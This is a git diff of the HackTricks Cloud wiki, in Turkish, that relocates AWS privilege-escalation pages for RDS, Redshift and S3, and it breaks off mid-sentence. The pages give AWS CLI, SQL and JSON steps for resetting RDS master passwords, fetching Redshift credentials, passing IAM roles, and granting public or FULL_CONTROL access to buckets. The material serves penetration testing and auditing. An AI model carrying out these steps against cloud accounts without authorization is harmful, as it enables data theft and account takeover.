-**Olası Etki**: RDS örneğindeki hassas verilere erişim veya verilere yetkisiz değişiklikler.\ -Bazı DB'lerin, Mysql gibi, parametre gruplarında rol ARN'sinin belirtilmesi gibi ek yapılandırmalara ihtiyaç duyduğunu unutmayın. - -### `rds:CreateDBInstance` - -Sadece bu izinle bir saldırgan, zaten var olan ve bir **IAM rolü** eklenmiş bir **küme içinde yeni bir örnek** oluşturabilir. Ana kullanıcı şifresini değiştiremeyecek, ancak yeni veritabanı örneğini internete açma olanağına sahip olabilir: -```bash -aws --region eu-west-1 --profile none-priv rds create-db-instance \ ---db-instance-identifier mydbinstance2 \ ---db-instance-class db.t3.medium \ ---engine aurora-postgresql \ ---db-cluster-identifier database-1 \ ---db-security-groups "string" \ ---publicly-accessible -``` -### `rds:CreateDBInstance`, `iam:PassRole` - -> [!NOTE] -> TODO: Test - -`rds:CreateDBInstance` ve `iam:PassRole` izinlerine sahip bir saldırgan, **belirtilen bir rol eklenmiş yeni bir RDS örneği oluşturabilir**. Saldırgan daha sonra potansiyel olarak **hassas verilere erişebilir** veya örnekteki verileri değiştirebilir. - -> [!WARNING] -> Eklemek için rol/örnek profili ile ilgili bazı gereksinimler ( [**buradan**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html) ): - -> - Profil hesabınızda mevcut olmalıdır. -> - Profilin, Amazon EC2'nin üstlenme izinlerine sahip bir IAM rolü olmalıdır. -> - Örnek profil adı ve ilişkili IAM rol adı `AWSRDSCustom` ön eki ile başlamalıdır. -```bash -aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole -``` -**Olası Etki**: RDS örneğindeki hassas verilere erişim veya verilere yetkisiz değişiklikler. - -### `rds:AddRoleToDBInstance`, `iam:PassRole` - -`rds:AddRoleToDBInstance` ve `iam:PassRole` izinlerine sahip bir saldırgan, **mevcut bir RDS örneğine belirli bir rol ekleyebilir**. Bu, saldırgana **hassas verilere erişim** sağlama veya örnek içindeki verileri değiştirme imkanı verebilir. - -> [!WARNING] -> DB örneği, bunun için bir kümenin dışında olmalıdır. -```bash -aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name -``` -**Potansiyel Etki**: RDS örneğindeki hassas verilere erişim veya verilere yetkisiz değişiklikler. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md new file mode 100644 index 000000000..6b9dedda4 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md @@ -0,0 +1,151 @@ +# AWS - RDS Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## RDS - İlişkisel Veritabanı Servisi + +RDS hakkında daha fazla bilgi için bakınız: + +{{#ref}} +../../aws-services/aws-relational-database-rds-enum.md +{{#endref}} + +### `rds:ModifyDBInstance` + +Bu izinle bir saldırgan **master kullanıcının parolasını değiştirebilir**, ve veritabanı içindeki login bilgisini değiştirebilir: +```bash +# Get the DB username, db name and address +aws rds describe-db-instances + +# Modify the password and wait a couple of minutes +aws rds modify-db-instance \ +--db-instance-identifier \ +--master-user-password 'Llaody2f6.123' \ +--apply-immediately + +# In case of postgres +psql postgresql://:@:5432/ +``` +> [!WARNING] +> Veritabanına **bağlanabilmeniz** gerekecek (genellikle yalnızca ağ içinden erişilebilirler). + +**Olası Etki:** Veritabanları içinde hassas bilgilerin bulunması. + +### rds-db:connect + +According to the [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html) bu izne sahip bir kullanıcı DB örneğine bağlanabilir. + +### Abuse RDS Role IAM permissions + +#### Postgresql (Aurora) + +> [!TIP] +> Eğer **`SELECT datname FROM pg_database;`** çalıştırdığınızda **`rdsadmin`** adlı bir veritabanı bulursanız, AWS postgresql veritabanının içinde olduğunuzu anlarsınız. + +İlk olarak bu veritabanının herhangi bir diğer AWS hizmetine erişmek için kullanılıp kullanılmadığını kontrol edebilirsiniz. Bunu kurulu eklentilere bakarak kontrol edebilirsiniz: +```sql +SELECT * FROM pg_extension; +``` +Eğer **`aws_s3`** gibi bir şey bulursanız, bu veritabanının **S3 üzerinde bir tür erişimi** olduğu varsayılabilir (başka eklentiler de vardır, örn. **`aws_ml`** ve **`aws_lambda`**). + +Ayrıca, eğer **`aws rds describe-db-clusters`** komutunu çalıştırma izniniz varsa, orada **`AssociatedRoles`** alanında **cluster'ın herhangi bir IAM Role'a bağlı olup olmadığını** görebilirsiniz. Eğer bağlıysa, veritabanının **diğer AWS servislerine erişecek şekilde hazırlandığını** varsayabilirsiniz. Rolün **adına** göre (veya rolün **izinlerini** elde edebilirseniz) veritabanının hangi ek erişimlere sahip olduğunu **tahmin edebilirsiniz**. + +Şimdi, bir bucket içindeki bir dosyayı okumak için tam yolu bilmeniz gerekir. Şunu kullanarak okuyabilirsiniz: +```sql +// Create table +CREATE TABLE ttemp (col TEXT); + +// Create s3 uri +SELECT aws_commons.create_s3_uri( +'test1234567890678', // Name of the bucket +'data.csv', // Name of the file +'eu-west-1' //region of the bucket +) AS s3_uri \gset + +// Load file contents in table +SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri'); + +// Get info +SELECT * from ttemp; + +// Delete table +DROP TABLE ttemp; +``` +Eğer **raw AWS credentials**'e sahip olsaydınız, onları S3 verilerine erişmek için şu şekilde kullanabilirsiniz: +```sql +SELECT aws_s3.table_import_from_s3( +'t', '', '(format csv)', +:'s3_uri', +aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '') +); +``` +> [!NOTE] +> Postgresql **S3'e erişebilmek için herhangi bir parameter group variable değiştirmesine gerek yoktur.** + +#### Mysql (Aurora) + +> [!TIP] +> Bir mysql içinde, **`SELECT User, Host FROM mysql.user;`** sorgusunu çalıştırırsanız ve **`rdsadmin`** adlı bir kullanıcı varsa, içinde bulunduğunuzun **AWS RDS mysql db** olduğunu varsayabilirsiniz. + +mysql içinde **`show variables;`** çalıştırın ve **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`** gibi değişkenlerin değerleri varsa, veritabanının S3 verilerine erişmeye hazır olduğunu varsayabilirsiniz. + +Ayrıca, **`aws rds describe-db-clusters`** komutunu çalıştırma izniniz varsa, cluster'ın herhangi bir **ilişkili role**'ü olup olmadığını kontrol edebilirsiniz; bu genellikle AWS hizmetlerine erişim anlamına gelir). + +Şimdi, **bir bucket içindeki bir dosyayı okumak** için tam yolu bilmeniz gerekir. Şu komutla okuyabilirsiniz: +```sql +CREATE TABLE ttemp (col TEXT); +LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col); +SELECT * FROM ttemp; +DROP TABLE ttemp; +``` +### `rds:AddRoleToDBCluster`, `iam:PassRole` + +`rds:AddRoleToDBCluster` ve `iam:PassRole` izinlerine sahip bir saldırgan, mevcut bir RDS instance'ına belirtilen bir rolü ekleyebilir. Bu, saldırganın **hassas verilere erişmesine** veya örnek içindeki verileri değiştirmesine izin verebilir. +```bash +aws add-role-to-db-cluster --db-cluster-identifier --role-arn +``` +**Potansiyel Etki**: RDS instance'ındaki hassas verilere erişim veya verilere yetkisiz değişiklikler.\ +Bazı DB'lerin Mysql gibi ek yapılandırmalar gerektirdiğini unutmayın; örneğin Mysql, role ARN'nin parameter groups içinde de belirtilmesi gerekir. + +### `rds:CreateDBInstance` + +Sadece bu izinle bir saldırgan, zaten var olan ve bir **IAM role** bağlı bir **cluster içinde yeni bir instance** oluşturabilir. Master kullanıcı parolasını değiştiremeyecek, ancak yeni veritabanı instance'ını internete açabilir: +```bash +aws --region eu-west-1 --profile none-priv rds create-db-instance \ +--db-instance-identifier mydbinstance2 \ +--db-instance-class db.t3.medium \ +--engine aurora-postgresql \ +--db-cluster-identifier database-1 \ +--db-security-groups "string" \ +--publicly-accessible +``` +### `rds:CreateDBInstance`, `iam:PassRole` + +> [!NOTE] +> YAPILACAK: Test + +Bir saldırgan `rds:CreateDBInstance` ve `iam:PassRole` izinlerine sahipse **belirtilen bir rol iliştirilmiş yeni bir RDS instance'ı oluşturabilir**. Saldırgan daha sonra potansiyel olarak **hassas verilere erişebilir** veya instance içindeki verileri değiştirebilir. + +> [!WARNING] +> Eklenecek role/instance-profile için bazı gereksinimler (from [**here**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)): + +> - Profil hesabınızda mevcut olmalıdır. +> - Profil, Amazon EC2'nin üstlenme iznine sahip bir IAM role sahip olmalıdır. +> - Instance profile adı ve ilişkili IAM rol adı `AWSRDSCustom` öneki ile başlamalıdır. +```bash +aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole +``` +**Potential Impact**: RDS instance içindeki hassas verilere erişim veya verilerde yetkisiz değişiklikler. + +### `rds:AddRoleToDBInstance`, `iam:PassRole` + +`rds:AddRoleToDBInstance` ve `iam:PassRole` izinlerine sahip bir saldırgan, **var olan bir RDS instance'a belirtilen bir role ekleyebilir**. Bu, saldırganın **hassas verilere erişmesine** veya RDS instance içindeki verileri değiştirmesine olanak sağlayabilir. + +> [!WARNING] +> Bu işlem için DB instance bir cluster'ın dışında olmalıdır +```bash +aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name +``` +**Olası Etki**: RDS instance içindeki hassas verilere erişim veya verilere yetkisiz değişiklikler. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md deleted file mode 100644 index 4b274094a..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md +++ /dev/null @@ -1,95 +0,0 @@ -# AWS - Redshift Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## Redshift - -RDS hakkında daha fazla bilgi için kontrol edin: - -{{#ref}} -../aws-services/aws-redshift-enum.md -{{#endref}} - -### `redshift:DescribeClusters`, `redshift:GetClusterCredentials` - -Bu izinlerle **tüm kümelerin bilgilerini** (isim ve küme kullanıcı adı dahil) alabilir ve **erişim için kimlik bilgilerini** edinebilirsiniz: -```bash -# Get creds -aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1 -# Connect, even if the password is a base64 string, that is the password -psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:" -d template1 -p 5439 -``` -**Olası Etki:** Veritabanlarında hassas bilgileri bulma. - -### `redshift:DescribeClusters`, `redshift:GetClusterCredentialsWithIAM` - -Bu izinlerle **tüm kümelerin bilgilerini** alabilir ve **erişim için kimlik bilgilerini** edinebilirsiniz.\ -Postgres kullanıcısının, kimlik bilgilerini almak için kullanılan **IAM kimliğinin izinlerine** sahip olacağını unutmayın. -```bash -# Get creds -aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1 -# Connect, even if the password is a base64 string, that is the password -psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439 -``` -**Olası Etki:** Veritabanlarında hassas bilgileri bulmak. - -### `redshift:DescribeClusters`, `redshift:ModifyCluster?` - -AWS CLI üzerinden iç postgres (redshit) kullanıcısının **ana şifresini değiştirmek** mümkündür (bunun için gerekli izinler olduğunu düşünüyorum ama henüz test etmedim): -``` -aws redshift modify-cluster –cluster-identifier –master-user-password ‘master-password’; -``` -**Potansiyel Etki:** Veritabanlarında hassas bilgileri bulmak. - -## Harici Servislere Erişim - -> [!WARNING] -> Aşağıdaki tüm kaynaklara erişmek için **kullanılacak rolü belirtmeniz** gerekecek. Bir Redshift kümesi **kullanabileceğiniz bir AWS rolü listesi atayabilir** **eğer ARN'yi biliyorsanız** veya sadece atanan varsayılanı kullanmak için "**default**" ayarlayabilirsiniz. - -> Ayrıca, [**burada açıklandığı gibi**](https://docs.aws.amazon.com/redshift/latest/mgmt/authorizing-redshift-service.html), Redshift, daha fazla erişim elde etmek için rolleri birleştirmeye de izin verir (ilk rol ikinci rolü üstlenebiliyorsa) ancak sadece **virgülle** **ayırarak**: `iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';` - -### Lambdalar - -[https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html](https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html) adresinde açıklandığı gibi, Redshift'ten bir lambda fonksiyonunu **çağırmak mümkündür**: -```sql -CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT) -RETURNS INT -STABLE -LAMBDA 'lambda_function' -IAM_ROLE default; -``` -### S3 - -[https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html](https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html) adresinde açıklandığı gibi, **S3 bucket'larına okuma ve yazma** yapmak mümkündür: -```sql -# Read -copy table from 's3:///load/key_prefix' -credentials 'aws_iam_role=arn:aws:iam:::role/' -region '' -options; - -# Write -unload ('select * from venue') -to 's3://mybucket/tickit/unload/venue_' -iam_role default; -``` -### Dynamo - -[https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html](https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html) adresinde açıklandığı gibi, **dynamodb'den veri almak** mümkündür: -```sql -copy favoritemovies -from 'dynamodb://ProductCatalog' -iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole'; -``` -> [!WARNING] -> Verileri sağlayan Amazon DynamoDB tablosu, kümenizle aynı AWS Bölgesinde oluşturulmalıdır, aksi takdirde Amazon DynamoDB tablosunun bulunduğu AWS Bölgesini belirtmek için [REGION](https://docs.aws.amazon.com/redshift/latest/dg/copy-parameters-data-source-s3.html#copy-region) seçeneğini kullanmalısınız. - -### EMR - -[https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html](https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html) adresini kontrol edin. - -## References - -- [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc/README.md new file mode 100644 index 000000000..5d735db61 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc/README.md @@ -0,0 +1,95 @@ +# AWS - Redshift Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## Redshift + +RDS hakkında daha fazla bilgi için bakınız: + +{{#ref}} +../../aws-services/aws-redshift-enum.md +{{#endref}} + +### `redshift:DescribeClusters`, `redshift:GetClusterCredentials` + +Bu izinlerle **tüm cluster'ların bilgilerini** (isim ve cluster kullanıcı adı dahil) alabilir ve **erişim için kimlik bilgilerini** elde edebilirsiniz: +```bash +# Get creds +aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1 +# Connect, even if the password is a base64 string, that is the password +psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:" -d template1 -p 5439 +``` +**Olası Etki:** Veritabanları içindeki hassas bilgilerin ortaya çıkarılması. + +### `redshift:DescribeClusters`, `redshift:GetClusterCredentialsWithIAM` + +Bu izinlerle **tüm cluster'ların bilgilerini** alabilir ve erişim için **credentials** elde edebilirsiniz.\ +Dikkat: postgres kullanıcısı, credentials almak için kullanılan **IAM identity**'nin sahip olduğu **permissions** ile çalışacaktır. +```bash +# Get creds +aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1 +# Connect, even if the password is a base64 string, that is the password +psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439 +``` +**Potential Impact:** Veritabanları içinde hassas bilgilerin ele geçirilmesi. + +### `redshift:DescribeClusters`, `redshift:ModifyCluster?` + +aws cli'den dahili postgres (redshit) kullanıcısının **ana parolasını değiştirmek** mümkün (sanırım gereken izinler bunlar ama henüz test etmedim): +``` +aws redshift modify-cluster –cluster-identifier –master-user-password ‘master-password’; +``` +**Olası Etki:** Veritabanları içinde hassas bilgilerin bulunması. + +## Harici Servislere Erişim + +> [!WARNING] +> Aşağıdaki tüm kaynaklara erişmek için **kullanılacak rolü belirtmeniz** gerekecek. Bir Redshift cluster'ına **kullanabileceğiniz bir AWS rollerinin listesi** atanmış olabilir **eğer ARN'i biliyorsanız** veya atanan varsayılanı kullanmak için sadece "**default**" olarak ayarlayabilirsiniz. +> +> Ayrıca, [**explained here**](https://docs.aws.amazon.com/redshift/latest/mgmt/authorizing-redshift-service.html), Redshift rolleri birbirine eklemeye (concat) de izin verir (ilk rol ikinci rolü üstlenebiliyorsa) daha fazla erişim elde etmek için, ancak bunları sadece **ayırarak** **virgülle** belirtmelisiniz: `iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';` + +### Lambdas + +As explained in [https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html](https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html), **Redshift'ten bir Lambda fonksiyonunu çağırmak** şu şekilde mümkündür: +```sql +CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT) +RETURNS INT +STABLE +LAMBDA 'lambda_function' +IAM_ROLE default; +``` +### S3 + +[https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html](https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html) adresinde açıklandığı gibi, **S3 buckets içine okuma ve yazma** mümkündür: +```sql +# Read +copy table from 's3:///load/key_prefix' +credentials 'aws_iam_role=arn:aws:iam:::role/' +region '' +options; + +# Write +unload ('select * from venue') +to 's3://mybucket/tickit/unload/venue_' +iam_role default; +``` +### Dynamo + +[https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html](https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html) adresinde açıklandığı gibi, **dynamodb'den veri almak** mümkündür: +```sql +copy favoritemovies +from 'dynamodb://ProductCatalog' +iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole'; +``` +> [!WARNING] +> Verileri sağlayan Amazon DynamoDB tablosu, Amazon DynamoDB tablosunun bulunduğu AWS Region'ı belirtmek için [REGION](https://docs.aws.amazon.com/redshift/latest/dg/copy-parameters-data-source-s3.html#copy-region) seçeneğini kullanmadığınız sürece kümenizle aynı AWS Region'da oluşturulmalıdır. + +### EMR + +Bkz. [https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html](https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html) + +## Kaynaklar + +- [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md deleted file mode 100644 index d450ffb5d..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md +++ /dev/null @@ -1,186 +0,0 @@ -# AWS - S3 Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## S3 - -### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject` - -İlginç bucket'lar üzerinde bu izinlere sahip bir saldırgan, kaynakları ele geçirip ayrıcalıkları artırabilir. - -Örneğin, "cf-templates-nohnwfax6a6i-us-east-1" adlı bir cloudformation bucket'ı üzerinde bu **izinlere sahip** bir saldırgan, dağıtımı ele geçirebilir. Erişim aşağıdaki politika ile verilebilir: -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Action": [ -"s3:PutBucketNotification", -"s3:GetBucketNotification", -"s3:PutObject", -"s3:GetObject" -], -"Resource": [ -"arn:aws:s3:::cf-templates-*/*", -"arn:aws:s3:::cf-templates-*" -] -}, -{ -"Effect": "Allow", -"Action": "s3:ListAllMyBuckets", -"Resource": "*" -} -] -} -``` -Ve ele geçirme, **şablonun yüklendiği andan** **şablonun dağıtıldığı ana** kadar olan **küçük bir zaman penceresi** olduğu için mümkündür. Bir saldırgan, hesabında **bir lambda fonksiyonu** oluşturabilir ve bu fonksiyon **bir bucket bildirimi gönderildiğinde tetiklenecek** ve o **bucket'ın** **içeriğini ele geçirecektir**. - -![](<../../../images/image (174).png>) - -Pacu modülü [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) bu saldırıyı otomatikleştirmek için kullanılabilir.\ -Daha fazla bilgi için orijinal araştırmaya bakın: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/) - -### `s3:PutObject`, `s3:GetObject` - -Bunlar **S3'e nesne yüklemek ve almak için** gereken izinlerdir. AWS içindeki (ve dışındaki) çeşitli hizmetler, **konfigürasyon dosyalarını** depolamak için S3 depolamasını kullanır.\ -Onlara **okuma erişimi** olan bir saldırgan, üzerinde **hassas bilgiler** bulabilir.\ -Onlara **yazma erişimi** olan bir saldırgan, **verileri değiştirebilir, bazı hizmetleri kötüye kullanabilir ve ayrıcalıkları artırmaya çalışabilir**.\ -Bunlar bazı örneklerdir: - -- Eğer bir EC2 örneği **kullanıcı verilerini bir S3 bucket'ında** depoluyorsa, bir saldırgan bunu **EC2 örneği içinde rastgele kod çalıştırmak için değiştirebilir**. - -### `s3:PutObject`, `s3:GetObject` (isteğe bağlı) terraform durum dosyası üzerinden - -[terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) durum dosyalarının bulut sağlayıcılarının blob depolama alanlarına kaydedilmesi oldukça yaygındır, örneğin AWS S3. Bir durum dosyasının dosya uzantısı `.tfstate`dir ve bucket adları genellikle terraform durum dosyalarını içerdiğini gösterir. Genellikle, her AWS hesabının durum dosyalarını depolamak için böyle bir bucket'ı vardır. -Ayrıca genellikle, gerçek dünya hesaplarında neredeyse her geliştiricinin `s3:*` ve bazen hatta iş kullanıcılarının `s3:Put*` erişimi vardır. - -Bu nedenle, bu dosyalar üzerindeki izinlere sahipseniz, `terraform` ayrıcalıklarıyla, çoğu zaman `AdministratorAccess` ile, pipeline'da RCE elde etmenizi sağlayan bir saldırı vektörü vardır; bu da sizi bulut hesabının yöneticisi yapar. Ayrıca, `terraform`'un meşru kaynakları silmesini sağlayarak bir hizmet reddi saldırısı yapmak için bu vektörü kullanabilirsiniz. - -Doğrudan kullanılabilir istismar kodu için *Terraform Güvenliği* sayfasının *Terraform Durum Dosyalarını Kötüye Kullanma* bölümündeki açıklamayı takip edin: - -{{#ref}} -../../../pentesting-ci-cd/terraform-security.md#abusing-terraform-state-files -{{#endref}} - -### `s3:PutBucketPolicy` - -Aynı hesaptan olması gereken bir saldırgan, aksi takdirde `Belirtilen yöntem izin verilmedi` hatası tetiklenecektir, bu izinle bucket'lar üzerinde daha fazla izin verebilir, böylece bucket'ları okuma, yazma, değiştirme, silme ve ifşa etme yetkisine sahip olabilir. -```bash -# Update Bucket policy -aws s3api put-bucket-policy --policy file:///root/policy.json --bucket - -## JSON giving permissions to a user and mantaining some previous root access -{ -"Id": "Policy1568185116930", -"Version":"2012-10-17", -"Statement":[ -{ -"Effect":"Allow", -"Principal":{ -"AWS":"arn:aws:iam::123123123123:root" -}, -"Action":"s3:ListBucket", -"Resource":"arn:aws:s3:::somebucketname" -}, -{ -"Effect":"Allow", -"Principal":{ -"AWS":"arn:aws:iam::123123123123:user/username" -}, -"Action":"s3:*", -"Resource":"arn:aws:s3:::somebucketname/*" -} -] -} - -## JSON Public policy example -### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS -{ -"Id": "Policy1568185116930", -"Version": "2012-10-17", -"Statement": [ -{ -"Sid": "Stmt1568184932403", -"Action": [ -"s3:ListBucket" -], -"Effect": "Allow", -"Resource": "arn:aws:s3:::welcome", -"Principal": "*" -}, -{ -"Sid": "Stmt1568185007451", -"Action": [ -"s3:GetObject" -], -"Effect": "Allow", -"Resource": "arn:aws:s3:::welcome/*", -"Principal": "*" -} -] -} -``` -### `s3:GetBucketAcl`, `s3:PutBucketAcl` - -Bir saldırgan, bu izinleri **belirli bucket'lar üzerinde daha fazla erişim sağlamak** için kötüye kullanabilir.\ -Saldırganın aynı hesapta olması gerekmediğini unutmayın. Ayrıca yazma erişimi -```bash -# Update bucket ACL -aws s3api get-bucket-acl --bucket -aws s3api put-bucket-acl --bucket --access-control-policy file://acl.json - -##JSON ACL example -## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved. -{ -"Owner": { -"DisplayName": "", -"ID": "" -}, -"Grants": [ -{ -"Grantee": { -"Type": "Group", -"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers" -}, -"Permission": "FULL_CONTROL" -} -] -} -## An ACL should give you the permission WRITE_ACP to be able to put a new ACL -``` -### `s3:GetObjectAcl`, `s3:PutObjectAcl` - -Bir saldırgan, bu izinleri kullanarak kendisine belirli nesneler üzerinde daha fazla erişim sağlamak için kötüye kullanabilir. -```bash -# Update bucket object ACL -aws s3api get-object-acl --bucket --key flag -aws s3api put-object-acl --bucket --key flag --access-control-policy file://objacl.json - -##JSON ACL example -## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved. -{ -"Owner": { -"DisplayName": "", -"ID": "" -}, -"Grants": [ -{ -"Grantee": { -"Type": "Group", -"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers" -}, -"Permission": "FULL_CONTROL" -} -] -} -## An ACL should give you the permission WRITE_ACP to be able to put a new ACL -``` -### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl` - -Bu yetkilere sahip bir saldırganın belirli bir nesne sürümüne Acl koyabilmesi beklenmektedir. -```bash -aws s3api get-object-acl --bucket --key flag -aws s3api put-object-acl --bucket --key flag --version-id --access-control-policy file://objacl.json -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md new file mode 100644 index 000000000..3363ee1e4 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md @@ -0,0 +1,182 @@ +# AWS - S3 Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## S3 + +### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject` + +Bu izinlere sahip bir saldırgan, ilgili buckets üzerinde kaynakları ele geçirip imtiyaz yükseltmesi yapabilir. + +Örneğin, "cf-templates-nohnwfax6a6i-us-east-1" adlı bir cloudformation bucket üzerindeki **izinlere** sahip bir saldırgan dağıtımı ele geçirebilecektir. Erişim aşağıdaki policy ile verilebilir: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": [ +"s3:PutBucketNotification", +"s3:GetBucketNotification", +"s3:PutObject", +"s3:GetObject" +], +"Resource": [ +"arn:aws:s3:::cf-templates-*/*", +"arn:aws:s3:::cf-templates-*" +] +}, +{ +"Effect": "Allow", +"Action": "s3:ListAllMyBuckets", +"Resource": "*" +} +] +} +``` +Ve hijack mümkündür çünkü bucket'a **template yüklendiği andan itibaren oluşan küçük bir zaman penceresi** ile **template'in dağıtıldığı an** arasında bir boşluk vardır. Bir saldırgan, hesabında **lambda function** oluşturarak **bucket bildirimi gönderildiğinde tetiklenen** bir fonksiyonla o **bucket**'ın **content**'ini **hijacks** edebilir. + +![](<../../../images/image (174).png>) + +Pacu modülü [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) bu saldırıyı otomatikleştirmek için kullanılabilir. +Daha fazla bilgi için orijinal araştırmayı inceleyin: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/) + +### `s3:PutObject`, `s3:GetObject` + +Bu izinler S3'e **nesneleri alma ve yükleme** yetkisini verir. AWS içindeki (ve dışındaki) birkaç servis, S3 depolamayı **config files** saklamak için kullanır. Bir saldırganın bunlara **read access** varsa, üzerinde **sensitive information** bulabilir. Bunlara **write access** olan bir saldırgan, **verileri değiştirip bazı servisleri kötüye kullanarak ayrıcalıkları yükseltmeye 